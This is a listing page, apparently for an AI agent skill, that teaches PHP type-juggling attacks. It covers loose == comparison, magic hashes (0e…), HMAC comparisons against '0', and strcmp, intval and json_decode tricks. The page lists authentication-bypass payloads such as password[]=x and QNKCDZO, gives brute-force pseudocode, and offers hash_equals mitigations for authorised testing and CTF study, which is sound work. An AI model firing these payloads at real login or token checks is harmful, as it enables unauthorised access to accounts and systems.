mcpField
T
type-juggling

type-juggling

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 type-juggling

面向授权测试人员和代码审计者的 PHP 安全 Skill,梳理宽松比较与类型转换风险。内容涵盖版本差异、魔术哈希及常见 CTF 输入模式,也提供防护比较建议。

主要功能

  1. 01PHP 宽松比较行为
  2. 02魔术哈希与 HMAC 情形
  3. 03PHP 版本差异
  4. 04NULL 与无效类型模式
  5. 05CTF 输入模式参考

适用场景

  1. 01审计登录和令牌比较
  2. 02评估哈希与 HMAC 检查
  3. 03复现 PHP 版本相关行为
  4. 04学习 PHP CTF 挑战

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill type-juggling

安装后在 Claude Code 中输入/type-juggling确认已加载。

详细介绍

技能:PHP 类型转换——弱比较与 Magic Hash 绕过

AI 加载说明:PHP 的 == 类型强制转换、Magic Hash(0e…)、HMAC/哈希宽松检查、错误类型导致的 NULL,以及 CTF 风格的 strcmp/json_decode/intval 技巧。采用严格路由:根据比较点(== 还是 hash_equals)、PHP 主版本,以及两个操作数是否都由攻击者控制来选择路径。路由提示:遇到 PHP 登录/签名逻辑或 md5($_GET['x'])==md5($_GET['y']) 之类的代码时,从这项技能入手;如果已经使用 hash_equals/===,通常不适用此路径。

0. 快速开始

首轮目标:证明服务器分支会通过类型强制转换,将不相等的机密/令牌视为相等,而不是猜出真实密码。

首轮载荷(身份验证/令牌形式)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
最小 PHP 探测(本地或实验环境中的 php -r)
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
路由提示
线索下一步
源代码使用 == 比较密码、令牌或 HMAC 值前往第 1-3 节
md5($a) == md5($b) 或宽松的 sha1 比较第 2 节 Magic Hash
hash_hmac(...) != '0' 或与 "0" 比较第 3 节
strcmp、json_decode(..., true)、intval第 5 节

1. 宽松比较(==)——真值表与版本差异

除非对机密使用 === 或 hash_equals(),否则 PHP 会对操作数进行类型转换后再比较。

1.1 核心示例(字符串与数字)
表达式结果原理(简述)
'0010e2' == '1e3'true两个字符串看起来都是数值 → 按浮点数比较;都解析为 1000.0(并非零——常见考题陷阱;真正的“都为零”见下一行)
'0e462097431906509019562988736854' == '0e830400451993494058024219903391'true两者都按科学计数法解析为 0.0
'123a' == 123true字符串转为整数时,在第一个非数字字符处停止 → 123
'abc' == 0true(PHP 7.x 及更早版本)非数值字符串与整数比较 → 字符串转换为 0
'' == 0true空字符串 → 0
'' == falsetrue根据宽松规则,两者都是“假值”
false == NULLtrue宽松相等
0 == falsetrue宽松相等
'' == 0 == false == NULLtrue(链式比较)每一对相邻值在 == 下都为 true(''==0、0==false、false==NULL)——经典“假值”链
'0' == falsetrue字符串 '0' 是唯一一个与布尔值比较时为 false 的非空字符串
'php' == 0false(PHP 8+)PHP 8 中,非数值字符串不再与 0 相等
1.2 PHP 5、7 与 8(重要差异)
主题PHP 5.x/7.x(通常情况)PHP 8.0+
0 == "foo"true(字符串 → 0)false
字符串转数字:"123a"(int) 转换/许多 == 比较路径仍会截断数值字符串处理方式相同;非数值字符串与整数比较已按上述方式修正
md5([])/sha1([])在旧版模式下可能产生警告/类似 NULL 的行为错误类型会触发 TypeError——除非错误处理将其归并为 NULL,否则经典 [] 技巧会失效

测试者须知:务必记录 PHP 版本,可从响应头、X-Powered-By 或指纹识别结果中确认;在 PHP 7 上有效的载荷在 PHP 8 上可能失效。

1.3 安全替代方案(防御/验证)
hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string
// or
$expected === $actual;

2. MAGIC HASH(0e… 且后跟纯数字)

当两边都是看起来像十六进制哈希的字符串,并且匹配 ^0e[0-9]+$ 时,PHP 会将它们视为科学计数法表示的浮点数 → 值为 0.0。因此,即使摘要字符串不同,md5(A) == md5(B) 仍会得到 true。

2.1 参考表(MD5 / SHA-1 及更长的算法)
算法示例输入摘要(以 0e + 全部十进制数字开头)
MD52406107080e462097431906509019562988736854
MD5QNKCDZO0e830400451993494058024219903391
SHA-1109324351120e07766915004133176347055865026311692244
SHA-224(暴力破解 / 预计算)示例形式:仅由 0e + 十进制数字组成 → 与另一个同样形式的字符串使用 == 比较时结果为 true
SHA-256(暴力破解 / 预计算)相同模式:只有匹配 ^0e\d+$ 的字符串使用 == 比较时才会碰撞

原理:md5('240610708') == md5('QNKCDZO') → 两侧都匹配 ^0e[0-9]+$ → 都被解释为 0.0 == 0.0 → true。

2.2 代码中的利用模式
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // intended: different strings, same md5 (impossible for md5)
    // actual: two different strings whose *digests* are magic hashes
}
2.3 载荷构思(寻找匹配对)
?a=240610708&b=QNKCDZO

对于 SHA-224/256,将其视为搜索问题:对输入进行暴力破解,直到摘要匹配 ^0e\d+$;然后配对两个不同的输入。哈希越长,难度越高;上面的 MD5/SHA1 示例是常见的教学案例。


3. HMAC 绕过(宽松比较 “0” 或 0)

如果逻辑使用宽松比较,将结果与常量进行比较:

if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.

对 $data(例如时间戳、nonce、计数器)进行暴力破解,直到 hash_hmac 输出匹配 ^0e[0-9]+$(对于 MD5 输出),或符合代码中特定的宽松比较规则——这样,哈希在 == 比较下可能会等于 0,或另一个魔术摘要。

示例(数值消息的 MD5 风格 0e 摘要)
概念示例
消息类型Unix 时间戳、自增 ID、毫秒时钟
时间戳暴力破解模式教程有时会以 1539805986 → 0e772967136366835494939987377058 作为魔术哈希风格示例;在标准 PHP 中,md5('1539805986') 不会生成该摘要——应采用这个思路(扫描时间戳 / 计数器,直到输出匹配 ^0e[0-9]+$),并且始终根据目标代码中的确切函数和密钥进行验证。
目标找到满足 hash_hmac('md5', $data, $key) 匹配 ^0e[0-9]+$ 的 $data
备注即使不知道 $key,只要算法 / 输出在 oracle 中可见,仍可能对 $data 进行暴力破解;CTF 往往会泄露或固定密钥
# Conceptual: try many timestamps
for t in range(T0, T1):
    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
        use t

缓解措施:使用 hash_equals($mac, $expected),并采用固定长度的十六进制 / 二进制编码;绝不要将 HMAC 与裸 "0" 比较。


4. NULL 类型转换(数组与类型错误)

无效类型可能会在比较的一侧产生 NULL;与另一个 NULL 或经过强制类型转换的值进行宽松相等比较时,可能通过。

调用PHP 7/8 中的典型行为
md5([])PHP 8:TypeError;旧版本:警告 / 跨版本行为不可靠
sha1([])同上
思路如果错误处理器或自定义包装器将失败转换为 NULL,那么 NULL == NULL 会成立;如果另一侧也为 NULL,NULL == sha1("x") 也可能成立
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true

实际审计:查找 @、将哈希设为 null 的自定义 try/catch,或传入要求为字符串的函数的用户输入。


5. CTF 模式

5.1 使用数组的 strcmp / strcasecmp
strcmp([], "password");  // NULL in PHP 7/8 (invalid args)
// NULL == 0  → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)

载荷:

?p[]=1
5.2 intval 绕过
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0);   // → 26

// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)

// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2
5.3 json_decode + true 用于关联数组身份验证
{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules
5.4 is_numeric + 宽松比较
is_numeric("0e12345");  // true
"0e12345" == 0;         // true (scientific notation → 0.0)
5.5 反序列化 + 魔术属性

将用户输入反序列化为对象,其 __toString 或属性会传入 md5($obj) 或宽松比较——再将属性与魔术哈希字符串结合使用(CTF)。查找靠近哈希 == 的 unserialize($_…)。


6. 决策树

                         +------------------+
                         | PHP loose compare|
                         | or hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | Uses === or |             | Uses == or   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               STOP (likely)              +-----v-----+
                                          | Operand   |
                                          | types?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | Both numeric| | One int & |    | Hash digests   |
                    | strings 0e… | | one string|    | both 0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH    STRING/INT           MAGIC HASH
                      COLLISION     JUGGLING             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           brute $data
                           for 0e… digest
                                  |
                           +------v------+
                           | Arrays /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+
工具参考
工具用途
本地 php CLI复现目标主要版本的 == 行为
静态代码审查搜索加密输出上的 ==、!=;查找缺失的 hash_equals
CTF 框架生成魔术哈希和 0e 搜索的载荷

安全与适用范围:仅用于已获授权的目标(CTF、实验室、书面许可)。本技能介绍的是用于防御和评估的语言语义——并不授权在未经同意的情况下攻击系统。

评论

支持 Markdown